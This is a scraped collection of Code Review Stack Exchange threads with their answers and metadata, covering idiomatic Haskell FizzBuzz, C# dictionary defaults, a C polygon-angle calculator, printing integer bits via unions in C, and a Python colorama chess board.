<p>I am getting used to how things should be written/thought about in (idiomatic) Haskell. I wrote a FizzBuzz program that prints to the console. I wanted to generate things from the core info of the divisors and the strings that go with them, and an array of such rules to be processed. This is in some sense a port of my original Purescript question <a href="https://codereview.stackexchange.com/q/231571/115336">here</a> (deleted), but I'm interested in Haskell conventions independently, especially when they might differ from Purescript.</p> <p>All improvements are welcome, but I am focusing primarily on "is this a reasonable way a user of Haskell might organize things?". One thing I'm looking to understand is when/why I might prefer making something like <code>Fizzrule</code> a <code>type</code> or <code>newtype</code> of <code>(Int, String)</code> instead of the brand new datatype here. And honestly, <code>mapMaybe</code> is just a carryover from how I'm used to writing things in modern Wolfram Language, so I'm curious if it's the right thing here (maybe it's a special case of something more general I should be thinking about?). Finally, is <code>mapM_</code> the most natural thing to use for a task like this?</p> <pre class="lang-hs prettyprint-override"><code>module Main where import Data.Foldable(fold) import Data.List(null) import Data.Maybe(mapMaybe) data Fizzrule = Fizzrule {divisor :: Int, yell :: String} rule3 :: Fizzrule rule3 = Fizzrule 3 "Fizz" rule5 :: Fizzrule rule5 = Fizzrule 5 "Buzz" rule7 :: Fizzrule rule7 = Fizzrule 7 "Quux" processrule :: Int -&gt; Fizzrule -&gt; Maybe String processrule int rule = if int `mod` (divisor rule) == 0 then Just (yell rule) else Nothing fizzbuzz :: [Fizzrule] -&gt; Int -&gt; String fizzbuzz rules int = if null strings then show int else fold strings where strings = mapMaybe (processrule int) rules main :: IO() main = mapM_ (putStrLn . fizzbuzz [rule3, rule5, rule7]) [1..100] </code></pre>
[]
[ { "body": "<p>It would be more usual to replace the <code>if null strings...</code> conditional with a <code>case</code>, and <code>concat</code> is more commonly used than <code>fold</code> for lists:</p>\n\n<pre><code>fizzbuzz :: [Fizzrule] -&gt; Int -&gt; String\nfizzbuzz rules int\n = case mapMaybe (processrule int) rules of\n [] -&gt; show int\n strings -&gt; concat strings\n</code></pre>\n\n<p>Similarly, <code>processrule</code> would more commonly be written with guards than an <code>if-then-else</code>:</p>\n\n<pre><code>processrule :: Int -&gt; Fizzrule -&gt; Maybe String\nprocessrule int rule\n | int `mod` (divisor rule) == 0 = Just (yell rule)\n | otherwise = Nothing\n</code></pre>\n\n<p>For simple structures like <code>Fizzrule</code>, it's pretty common to dispense with field selectors and pattern match directly, so this would probably be further rewritten. Also, it's more usual to use single character arguments like <code>n</code> in preference to <code>int</code>, though <code>str</code> and <code>lst</code> are often used for strings and lists:</p>\n\n<pre><code>processrule :: Int -&gt; Fizzrule -&gt; Maybe String\nprocessrule n (Fizzrule d str)\n | n `mod` d == 0 = Just str\n | otherwise = Nothing\n</code></pre>\n\n<p>Then the <code>mapMaybe</code> and <code>processRule</code> functions aren't actually doing much, so it would be more usual to replace them with a list comprehension:</p>\n\n<pre><code>fizzbuzz :: [Fizzrule] -&gt; Int -&gt; String\nfizzbuzz rules n\n = case [s | Fizzrule d s &lt;- rules, d `divides` n] of\n [] -&gt; show n\n strings -&gt; concat strings\n where d `divides` m = m `rem` d == 0\n</code></pre>\n\n<p>Arguably, it might be more usual to keep the \"map\" in <code>main</code> pure and output all the lines at once. (Even when run as a pure computation, it's all done lazily, so no worry that you need to wait for the computation to complete if you try to FizzBuzz the first billion integers or even run it on an infinite list <code>[1..]</code>). Also, note the type signature spacing -- it's always <code>IO ()</code> and never <code>IO()</code>.</p>\n\n<pre><code>main :: IO ()\nmain = putStr . unlines $ map (fizzbuzz rules) [1..100]\n</code></pre>\n\n<p>Naming all the rules seems like overkill, and <code>Fizzrule</code> takes forever to type, so maybe:</p>\n\n<pre><code>{-# OPTIONS_GHC -Wall #-}\n\nmodule Main where\n\ndata Rule = Rule Int String\n\nmyrules :: [Rule]\nmyrules =\n [ Rule 3 \"Fizz\"\n , Rule 5 \"Buzz\"\n , Rule 7 \"Quux\"\n ]\n\nfizzbuzz :: [Rule] -&gt; Int -&gt; String\nfizzbuzz rules n\n = case [s | Rule d s &lt;- rules, d `divides` n] of\n [] -&gt; show n\n strings -&gt; concat strings\n where d `divides` m = m `rem` d == 0\n\nmain :: IO ()\nmain = putStr . unlines $ map (fizzbuzz myrules) [1..100]\n</code></pre>\n\n<p>That looks more idiomatic to me.</p>\n\n<p>Writing the <code>Rule</code> as a newtype:</p>\n\n<pre><code>newtype Rule = Rule (Int, String)\n</code></pre>\n\n<p>would be silly. The main point of <code>newtype</code> is to introduce a type and associated constructor that's \"free\" from a performance standpoint because it's erased at compilation time (while also allowing for certain conveniences related to automatically deriving type class instances). However, in:</p>\n\n<pre><code>newtype Rule = Rule (Int, String)\n</code></pre>\n\n<p>the <code>Rule</code> constructor can be erased, but the pair constructor (normally written <code>(,)</code>) is still there. If you just write a <code>data</code> type in the first place:</p>\n\n<pre><code>data Rule = Rule Int String\n</code></pre>\n\n<p>then that replaces the <code>(,)</code> constructor with the <code>Rule</code> constructor more explicitly. There's no advantage here to <code>newtype Rule</code> -- it just requires extra typing when constructing or pattern matching values.</p>\n\n<p>The choice between <code>data Rule = ...</code> and <code>type Rule = (Int, String)</code> is more a matter of personal taste. I'd probably go with the <code>data Rule</code> type.</p>\n\n<p>To summarize some of the principles used above:</p>\n\n<ul>\n<li><code>if-then-else</code> statements are rare in Haskell and are usually replaced by <code>case</code> constructs (or the implicit <code>case</code> construct of function definitions), possibly with the help of guards. It's especially rare to see <code>if null lst then...</code> since this is almost always better written as a <code>case</code>.</li>\n<li>Haskellers usually inline helper functions like <code>processrule</code> that are only used in one place and have no general applicability. In constrast, Haskellers often define trivial functions like <code>divides</code> in <code>where</code> clauses where they improve readability. I'm arguing here that the list comprehension is more directly readable than the function name <code>processrule</code>, but <code>divides</code> is more readable than the <code>m `rem` d == 0</code> expression. It's a judgement call.</li>\n<li>At least for \"small\" data structures, pattern matching is usually used in preference to field selectors.</li>\n<li>Pure code is often used in preference to impure code, including where you have an action where additional purity can be factored out (e.g., instead of <code>mapM_</code> over multiple IO actions, <code>map</code> over pure values and pass that to a single IO action).</li>\n</ul>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T13:24:16.627", "Id": "452805", "Score": "0", "body": "Thank for this in-depth answer! I see now that list comprehensions with conditions are better than shoehorning in `Maybe` where I don't have a semantic use for it. And the reminders about `case` and maximizing pure code make total sense. It may take me some time to internalize how to handle things like `processrule` and `divides`, but it's clear your rewrite is more readable." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T23:36:31.997", "Id": "231988", "ParentId": "231888", "Score": "3" } } ]
{ "AcceptedAnswerId": "231988", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T13:01:02.370", "Id": "231888", "Score": "4", "Tags": [ "beginner", "haskell", "fizzbuzz" ], "Title": "Extensible Fizzbuzz in Haskell" }
231888
<p>I've tried with:</p> <pre><code>dictionary.TryGetValue("MoreDetails", out bool MoreDetails); </code></pre> <p>but if the key is not present it defaults to false, and I need it to default to true. Else I have this working implementation:</p> <pre><code>Dictionary&lt;string, bool&gt; CheckNullsSectionsVisibility(Dictionary&lt;string, bool&gt; dictionary) { bool Summary = true; bool Backlog = true; bool MoreDetails = true; if (dictionary != null) { Summary = dictionary.ContainsKey("Summary") ? dictionary["Summary"] : true; Backlog = dictionary.ContainsKey("Backlog") ? dictionary["Backlog"] : true; MoreDetails = dictionary.ContainsKey("MoreDetails") ? dictionary["MoreDetails"] : true; }; return new Dictionary&lt;string, bool&gt; { { "Summary", Summary}, { "Backlog", Backlog}, { "MoreDetails", MoreDetails} }; } </code></pre> <p>Is there a better approach? I don't like to repeat the true assignment, by the way.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T15:22:15.173", "Id": "452509", "Score": "0", "body": "TryGetValue will return true or false if the key exist. You should just check what's the return value of that and default the value if it returns false." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T15:31:46.517", "Id": "452514", "Score": "0", "body": "@CharlesNRice Something like this?: dictionary.TryGetValue(\"MoreDetails\", out bool MoreDetails) ? null : MoreDetails = true;" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T15:40:12.607", "Id": "452516", "Score": "0", "body": "I just posted as answer as formatting code in comments is difficult" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-12-03T23:32:39.363", "Id": "456151", "Score": "1", "body": "What about `dictionary.TryGetValue(key, out value) ? value : true`?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-12-13T05:32:29.987", "Id": "457479", "Score": "0", "body": "@alexyorke you shouldn't answer in comments. Your comment would be (with a little bit more text) qualify as an answer which I would upvote." } ]
[ { "body": "<p><code>TryGetValue</code> returns <code>True</code> or <code>False</code> if it was found in the dictionary. I would suggest something like below. As it's still a single lookup in the dictionary to get the value but you can also set a default value other than default if it's not found in the dictionary.</p>\n\n<pre><code>bool moreDetails;\nif !(dictionary.TryGetValue(\"MoreDetails\", out moreDetails))\n{\n moreDetails = true;\n} \n</code></pre>\n\n<p>Update to show extension method:</p>\n\n<pre><code>public static class DictionaryExtensions\n{\n public static TValue TryGetWithDefaultValue&lt;TKey, TValue&gt;(this IDictionary&lt;TKey, TValue&gt; dictionary, TKey key, TValue defaultValue)\n {\n TValue value;\n if (!dictionary.TryGetValue(key, out value))\n {\n value = defaultValue;\n }\n return value;\n }\n}\n</code></pre>\n\n<p>Then you could call it like:</p>\n\n<pre><code>var moreDetails = dictionary.TryGetWithDefaultValue(\"MoreDetails\", true);\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T17:27:27.487", "Id": "452538", "Score": "0", "body": "mmm if I would do this, it would become more verbose." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T19:31:25.347", "Id": "452571", "Score": "0", "body": "Yes but your way you are checking the dictionary key twice. Once with contains then another time for index access. If you want you can make this an extension method so it looks cleaner" } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T15:39:42.303", "Id": "231897", "ParentId": "231894", "Score": "2" } }, { "body": "<p>Since you want to return a dictionary, you can simplify things by putting the keys in an array. Now the you can reduce the logic to one line of chained LINQ statements:</p>\n\n<pre><code>Dictionary&lt;string, bool&gt; CheckNullsSectionsVisibility(Dictionary&lt;string, bool&gt; dictionary)\n{\n var keys = new string[] { \"Summary\", \"Backlog\", \"MoreDetails\" };\n bool value = false;\n return keys.Select(x =&gt; new { key = x, value = dictionary\n .TryGetValue(x, out value) ? value : true })\n .ToDictionary(x =&gt; x.key, x =&gt; x.value);\n}\n</code></pre>\n\n<p>If there is a possibility of using a different set of keys you can pass the string array in to the method:</p>\n\n<pre><code>Dictionary&lt;string, bool&gt; CheckNullsSectionsVisibility(Dictionary&lt;string, bool&gt; dictionary, string[] keysToCheck)\n{\n bool value = false;\n return keysToCheck.Select(x =&gt; new { key = x, value = dictionary\n .TryGetValue(x, out value) ? value : true })\n .ToDictionary(x =&gt; x.key, x =&gt; x.value);\n}\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T02:29:07.790", "Id": "231928", "ParentId": "231894", "Score": "1" } } ]
{ "AcceptedAnswerId": "231928", "CommentCount": "5", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T15:07:35.223", "Id": "231894", "Score": "1", "Tags": [ "c#", "hash-map" ], "Title": "Check if dictionary keys are declared, if not leave them as true" }
231894
<p>Of the languages that I use, I have the most experience with C++. I am looking to sharpen my skills with C, so I wrote this small calculator program.</p> <p>What I have here is a sample of how I would probably write larger programs.</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; int getSumInteriorAngles(const unsigned int numSides) { return 180 * (numSides - 2); } int main(int argc, char** argv) { /* Keep string constants of the questions. */ const char* howManySides = "How many sides does the shape have? "; const char* askAnotherShape = "Would you like to find interior angles for another polygon? (1 or 0) "; /* Table of polygon names from 3 to 12 sides */ const char* names[] = { "triangle", "quadrilateral", "pentagon", "hexagon", "heptagon", "octagon", "nonagon", "decagon", "hendecagon", "dodecagon" }; /* Input variable */ int numSides = 0; /* Assume that the input is invalid. */ int sidesValid = 0; /* Input variable */ int askAgain = 0; do { do { sidesValid = 0; /* Ask for the number of sides. */ printf(howManySides); /* Get the user input. */ scanf("%i", &amp;numSides); /* Handle invalid input. */ if(numSides &lt; 0) { printf("The number of sides cannot be negative...\n"); } else if(numSides == 0) { printf("The number of sides cannot be zero...\n"); } else if(numSides &lt; 3) { printf("The shape must have at least 3 sides...\n"); } else sidesValid = 1; } while(sidesValid == 0); /* If we have a name for this polygon, then get it from the table. */ if(numSides &lt;= 12) { char shapeName[128]; /* Don't forget to copy the string terminator, so add 1 to the copy length. */ memcpy(shapeName, names[numSides - 3], strlen(names[numSides - 3]) + 1); printf("The sum of the interior angles of a %s is %i\n", shapeName, getSumInteriorAngles(numSides)); } /* If we don't have a special name for this polygon, then just refer to it non-specifically. */ else if(numSides &gt; 12) { printf("The sum of the interior angles of this polygon is %i\n", getSumInteriorAngles(numSides)); } printf(askAnotherShape); scanf("%i", &amp;askAgain); } while(askAgain); return 0; } </code></pre>
[]
[ { "body": "<p>The most serious problem I see here is failing to check the return value from <code>scanf()</code>. Never ignore that - it's the only way we have to determine whether conversions were successful.</p>\n\n<p>A less serious issue is that we we're using a <code>main()</code> that takes command-line arguments, but never use them. Prefer instead the no-argument version:</p>\n\n<pre><code>int main(void)\n</code></pre>\n\n<p>The copying of the shape's name isn't useful - we can just pass the pointer directly to <code>printf()</code>:</p>\n\n<pre><code> printf(\"The sum of the interior angles of a %s is %i\\n\",\n names[numSides - 3],\n getSumInteriorAngles(numSides));\n</code></pre>\n\n<p>We could even choose which to print by using a suitable pointer:</p>\n\n<pre><code>const char* names[] = {\n \"a triangle\",\n \"a quadrilateral\",\n \"a pentagon\",\n \"a hexagon\",\n \"a heptagon\",\n \"an octagon\",\n \"a nonagon\",\n \"a decagon\",\n \"a hendecagon\",\n \"a dodecagon\"\n};\n\n// ...\n\nconst char *name = \"this polygon\";\nif (numSides &lt;= 12) {\n name = names[numSides - 3];\n}\n\nprintf(\"The sum of the interior angles of %s is %i\\n\",\n name, getSumInteriorAngles(numSides));\n</code></pre>\n\n<p>This also stops the code printing the ungrammatical \"a octagon\". <code>:-)</code></p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T16:56:39.907", "Id": "452527", "Score": "0", "body": "How about [`henagon, digon`](https://en.wikipedia.org/wiki/List_of_polygons#Systematic_polygon_names)? ;-)" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T16:10:40.370", "Id": "231899", "ParentId": "231898", "Score": "10" } }, { "body": "<h2>Complexity</h2>\n\n<p>Breaking problems into smaller and smaller parts until it is easy to solve is a standard part of software design and programming. Small functions make it easier to write, read, debug and maintain code. Most variables will be local variables and that cleans up the code as well.</p>\n\n<p>The function <code>main()</code> is too complex (does too much). As programs grow in size the use of <code>main()</code> should be limited to calling functions that parse the command line, calling functions that set up for processing, calling functions that execute the desired function of the program, and calling functions to clean up after the main portion of the program.</p>\n\n<p>There is also a programming principle called the Single Responsibility Principle that applies here. The Single Responsibility Principle states:</p>\n\n<blockquote>\n <p>that every module, class, or function should have responsibility over a single part of the functionality provided by the software, and that responsibility should be entirely encapsulated by that module, class or function.</p>\n</blockquote>\n\n<p>In addition to the function <code>int getSumInteriorAngles(const unsigned int numSides)</code> that already calculates the sum of the interior angles here are at least 3 possible functions in <code>main()</code>.<br>\n - Get and validate the user input for the number of vertices<br>\n - Print the result<br>\n - Get and validate user input for if they want to go again.</p>\n\n<p>In addition to the suggested functions above, some of the <code>if</code> statements are too complex. When showing the output the addition <code>if</code> in the following code isn't necessary</p>\n\n<pre><code> else if(numSides &gt; 12) {\n printf(\"The sum of the interior angles of this polygon is %i\\n\",\n getSumInteriorAngles(numSides));\n }\n</code></pre>\n\n<p>Only the <code>else {</code> is necessary.</p>\n\n<h2>Using some code from another answer, here is an alternate solution</h2>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdbool.h&gt;\n\nstatic int getSumInteriorAngles(const unsigned int numSides)\n{\n return 180 * (numSides - 2);\n}\n\nstatic int getAndValidateNumberOfSides()\n{\n int numSides = 0;\n bool sidesValid = false;\n\n do {\n sidesValid = 0;\n\n printf(\"How many sides does the shape have? \");\n scanf(\"%i\", &amp;numSides);\n\n if(numSides &lt; 0) {\n printf(\"The number of sides cannot be negative...\\n\");\n }\n else if(numSides == 0) {\n printf(\"The number of sides cannot be zero...\\n\");\n }\n else if(numSides &lt; 3) {\n printf(\"The shape must have at least 3 sides...\\n\");\n }\n else sidesValid = true;\n } while(!sidesValid);\n\n return numSides;\n}\n\nstatic bool askAgain()\n{\n int goAgain = 0;\n\n printf(\"Would you like to find interior angles for another polygon? (1 or 0) \");\n scanf(\"%i\", &amp;goAgain);\n\n return goAgain == 1;\n}\n\nstatic void showResults(int numSides)\n{\n const char* names[] = {\n \"a triangle\",\n \"a quadrilateral\",\n \"a pentagon\",\n \"a hexagon\",\n \"a heptagon\",\n \"an octagon\",\n \"a nonagon\",\n \"a decagon\",\n \"a hendecagon\",\n \"a dodecagon\"\n };\n\n int SumInteriorAngles = getSumInteriorAngles(numSides);\n\n if(numSides &lt;= 12) {\n printf(\"The sum of the interior angles of %s is %d\\n\", names[numSides - 3], SumInteriorAngles);\n }\n else {\n printf(\"The sum of the interior angles of this polygon is %d\\n\", SumInteriorAngles);\n }\n}\n\nint main()\n{\n do {\n int numSides = getAndValidateNumberOfSides();\n showResults(numSides);\n } while(askAgain());\n\n return 0;\n}\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T18:09:38.003", "Id": "231911", "ParentId": "231898", "Score": "5" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T15:47:51.577", "Id": "231898", "Score": "6", "Tags": [ "c" ], "Title": "Calculate the sum of interior angles of a polygon" }
231898
<p>I am given a short int. I need to print the bits of it into two bytes. My code is as follows:</p> <pre><code>#include &lt;stdio.h&gt; union info{ short z; struct data{ unsigned a:1; unsigned b:1; unsigned c:1; unsigned d:1; unsigned e:1; unsigned f:1; unsigned g:1; unsigned h:1; }; }t; union byte{ short n; struct inside{ char p:8; char q:8; }; }v; int main(void) { short x; scanf("%hd",&amp;x); v.n=x; t.z=v.q; printf("%d %d %d %d %d %d %d %d\n",t.h,t.g,t.f,t.e,t.d,t.c,t.b,t.a); t.z=v.p; printf("%d %d %d %d %d %d %d %d",t.h,t.g,t.f,t.e,t.d,t.c,t.b,t.a); return 0; } </code></pre> <p>My code gives the correct result. But I think that I've written an unnecessarily long code. Moreover, for larger bytes ( like in case of int ) , the process seems to be tiresome. <strong>Can I write the code in a simpler way ?</strong> </p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T16:46:07.857", "Id": "452523", "Score": "3", "body": "There's no union-find here, only union" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T17:29:21.150", "Id": "452539", "Score": "2", "body": "regarding: `printf(\"%d %d %d %d %d %d %d %d\\n\",t.h,t.g,t.f,t.e,t.d,t.c,t.b,t.a);` The fields in the union are unsigned, so the use of `%d` is an error. Suggest `%hu`" } ]
[ { "body": "<p>Avoid global variables - there's no need for <code>t</code> and <code>v</code> to exist outside <code>main()</code>.</p>\n\n<p>Always check the return value of <code>scanf()</code> before using the written values.</p>\n\n<p>Don't assume that <code>CHAR_BIT</code> is 8, or that <code>sizeof (short)</code> is 2. Neither of those is portable.</p>\n\n<p>Don't assume a particular ordering of bit fields within a struct - that's entirely compiler-dependent.</p>\n\n<p>Portable code needs a loop to print the bits, like this:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\nint main(void)\n{\n short x;\n if (scanf(\"%hi\", &amp;x) != 1) {\n fputs(\"Input error\\n\", stderr);\n return EXIT_FAILURE;\n }\n\n unsigned short v = (unsigned short)x;\n\n unsigned short mask = -1u; /* 11111... */\n mask -= (unsigned short)(mask / 2); /* 10000... */\n\n while (mask) {\n printf(\"%d \", (v &amp; mask) != 0);\n mask &gt;&gt;= 1;\n }\n printf(\"\\n\");\n}\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T16:49:56.750", "Id": "452526", "Score": "0", "body": "i actually intend to do it with unions..." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T17:11:12.817", "Id": "452529", "Score": "6", "body": "@NehalSamee, you can not do it with `short`, unions and bit-fields, because no one guaranteed that `short` is 16 bits wide. You should use `uint16_t` instead which is exactly 16 bits wide." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T17:31:23.947", "Id": "452540", "Score": "1", "body": "Should you care about non 2's complement, `(unsigned short)~0;` is a problem. Suggest `-1u;`" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T18:11:10.633", "Id": "452548", "Score": "0", "body": "@chux, I originally had `~(unsigned short)0` there, but didn't like the compiler warning when the result is promoted to `int` before the assignment. Is `-1u` guaranteed to have all-ones representation?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T18:29:34.033", "Id": "452553", "Score": "0", "body": "@TobySpeight For `unsigned` and narrower unsigned types, `-1u` is all ones. For wider unsinged types, use a wider constant. `unsigned long long x = -1ull;`." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T19:20:26.513", "Id": "452569", "Score": "1", "body": "The way you're preparing `mask` is fairly awkward. Why not `1 << (8*sizeof(v) - 1)`? That makes it more clear that it's just a 1 in the MSB." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T21:16:11.103", "Id": "452579", "Score": "1", "body": "`1 << (8*sizeof(v) - 1)` is UB when `USHRT_MAX == UINT_MAX` - somewhat common - use `1u`. `1 << (8*sizeof(v) - 1)` assumes no padding - of course that applies 99.9999+% of the time. A direct setting of the MSBit of `unsigned short mask` is `= USHRT_MAX - USHRT_MAX/2;`" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T08:54:32.490", "Id": "452627", "Score": "0", "body": "@Reinderien, I already said that we shouldn't assume a particular value of `CHAR_BIT`." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T16:10:32.027", "Id": "452710", "Score": "0", "body": "@eanmos furthermore (and much more important), there is no guarantee regardless the size of the bit-field or its layout." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T16:26:54.107", "Id": "452715", "Score": "0", "body": "@DanM., yeah, you are right. I mentioned it in my answer." } ], "meta_data": { "CommentCount": "10", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T16:43:01.600", "Id": "231906", "ParentId": "231901", "Score": "12" } }, { "body": "<p><em>In addition to @Toby Speight's answer.</em></p>\n\n<ol>\n<li><p><strong>There are only four types allowed for a bit field.</strong> There are the follows: <code>signed int</code>, <code>unsigned int</code>, <code>int</code>, and <code>_Bool</code>. So using <code>char</code> in this case:</p>\n\n<blockquote>\n<pre><code>struct inside{\n char p:8;\n char q:8;\n};\n</code></pre>\n</blockquote>\n\n<p>is implementation-defined.</p></li>\n<li><p><strong>Use fixed integer types.</strong> In your code you use <code>short</code> the width of which is not well defined. If you want an object with a specific width, you should consider using <em>fixed integer types</em> from <code>&lt;stdint.h&gt;</code>, such as <code>uint8_t</code> or <code>uint16_t</code>.</p></li>\n<li><p><strong>Use an anonymous struct inside the union.</strong> Your code actually is not valid, because <code>a</code> is not a member of <code>t</code> as well as <code>p</code> is not a member of <code>v</code>. <code>a</code> is member of the inner <code>data</code> struct:</p>\n\n<blockquote>\n<pre><code>union info{\n short z;\n struct data{\n unsigned a:1;\n unsigned b:1;\n unsigned c:1;\n unsigned d:1;\n unsigned e:1;\n unsigned f:1;\n unsigned g:1;\n unsigned h:1;\n };\n}t;\n</code></pre>\n</blockquote>\n\n<p>You have to use anonymous structures in order to compile your code.</p></li>\n<li><p><strong>Bit fields are very implementation defined.</strong> You actually couldn't print bits of integer in a portable way because bit fields are <em>very</em> implementation defined. You have to care about a bit field width, about padding inside the structure, about allocation units inside the structure, about width of the integer, about byte ordering, and so on.</p></li>\n</ol>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T18:05:50.120", "Id": "231910", "ParentId": "231901", "Score": "5" } }, { "body": "<p>I agree with most of the suggestions from @TobySpeight, except for the loop variable. Consider:</p>\n\n<pre><code>#include &lt;stdlib.h&gt;\n#include &lt;stdio.h&gt;\n\nint main(void) {\n short x;\n if (scanf(\"%hi\", &amp;x) != 1) {\n perror(\"Input error\");\n return EXIT_FAILURE;\n }\n\n unsigned short v = (unsigned short)x;\n\n for (int i = 8*sizeof(v)-1; i &gt;= 0; i--)\n printf(\"%u \", 1&amp;(v&gt;&gt;i));\n putchar('\\n');\n return 0;\n}\n</code></pre>\n\n<p>You can have a simple integer loop variable. The way this works:</p>\n\n<ul>\n<li><code>i</code> starts at 15, and decreases to 0</li>\n<li>for every digit, shift the number right by <code>i</code>, so that the digit in question is in the least-significant position</li>\n<li>Do a binary-and with 1, and then print the result.</li>\n</ul>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T21:17:52.563", "Id": "452580", "Score": "0", "body": "Minor: `int i = 8*sizeof(v)-1;` assumes no padding in `unsigned short`. Certainly not a significant concern." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T08:57:15.040", "Id": "452628", "Score": "0", "body": "I think you misspelt `CHAR_BIT` there: `for (int i = CHAR_BIT * sizeof v - 1; i >= 0; --i)`" } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T19:51:08.387", "Id": "231916", "ParentId": "231901", "Score": "3" } } ]
{ "AcceptedAnswerId": "231906", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T16:20:39.833", "Id": "231901", "Score": "5", "Tags": [ "c", "union-find" ], "Title": "Printing the bits of an integer using bitfields and union" }
231901
<blockquote> <p>Follow up to: <a href="https://codereview.stackexchange.com/questions/231811/printing-command-line-unicode-chess-board">Printing Command Line Unicode Chess Board</a></p> </blockquote> <p>A couple people from the previous question mentioned looking into coloring the command line with ANSI escape sequences. In Python, <a href="https://pypi.org/project/colorama/" rel="nofollow noreferrer"><code>colorama</code></a> seems to handle this quite nicely. Below is my attempt at using it for printing out a chess board.</p> <pre class="lang-py prettyprint-override"><code>from enum import Enum from enum import auto from colorama import init, Fore, Back, Style class Color(Enum): WHITE = 0 BLACK = 1 class Piece(Enum): EMPTY = auto() PAWN = auto() ROOK = auto() KNIGHT = auto() BISHOP = auto() KING = auto() QUEEN = auto() ELEMENTS = { (Color.WHITE, Piece.EMPTY): Back.WHITE, (Color.WHITE, Piece.KING): f'{Fore.LIGHTWHITE_EX}\u265A', (Color.WHITE, Piece.QUEEN): f'{Fore.LIGHTWHITE_EX}\u265B', (Color.WHITE, Piece.ROOK): f'{Fore.LIGHTWHITE_EX}\u265C', (Color.WHITE, Piece.BISHOP): f'{Fore.LIGHTWHITE_EX}\u265D', (Color.WHITE, Piece.KNIGHT): f'{Fore.LIGHTWHITE_EX}\u265E', (Color.WHITE, Piece.PAWN): f'{Fore.LIGHTWHITE_EX}\u265F', (Color.BLACK, Piece.EMPTY): Back.LIGHTBLACK_EX, (Color.BLACK, Piece.KING): f'{Fore.BLACK}\u265A', (Color.BLACK, Piece.QUEEN): f'{Fore.BLACK}\u265B', (Color.BLACK, Piece.ROOK): f'{Fore.BLACK}\u265C', (Color.BLACK, Piece.BISHOP): f'{Fore.BLACK}\u265D', (Color.BLACK, Piece.KNIGHT): f'{Fore.BLACK}\u265E', (Color.BLACK, Piece.PAWN): f'{Fore.BLACK}\u265F' } def init_tiles(): row = [ELEMENTS[(Color(i % 2), Piece.EMPTY)] for i in range(8)] return [row if i % 2 == 0 else row[::-1] for i in range(8)] def init_board(): def get_army(color): return [ (color, Piece.ROOK), (color, Piece.KNIGHT), (color, Piece.BISHOP), (color, Piece.QUEEN), (color, Piece.KING), (color, Piece.BISHOP), (color, Piece.KNIGHT), (color, Piece.ROOK) ] return ( [ get_army(Color.BLACK), [(Color.BLACK, Piece.PAWN) for _ in range(8)], *[[None] * 8 for _ in range(4)], [(Color.WHITE, Piece.PAWN) for _ in range(8)], get_army(Color.WHITE) ] ) def print_board(board, flip=False): def flip_board(board): return [row[::-1] for row in reversed(board)] for i, row in enumerate(board if not flip else flip_board(board)): for j, piece in enumerate(row): piece = ELEMENTS.get(piece) print(f"{tiles[i][j]}{piece if piece else ' '}", Style.RESET_ALL, end='', flush=True) print() if __name__ == '__main__': init() tiles = init_tiles() board = init_board() print_board(board) </code></pre> <p>As always, any optimizations and critique is welcome!</p> <p><strong><em>Example Output:</em></strong></p> <p><a href="https://i.stack.imgur.com/RJcJR.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/RJcJR.png" alt="ex"></a></p>
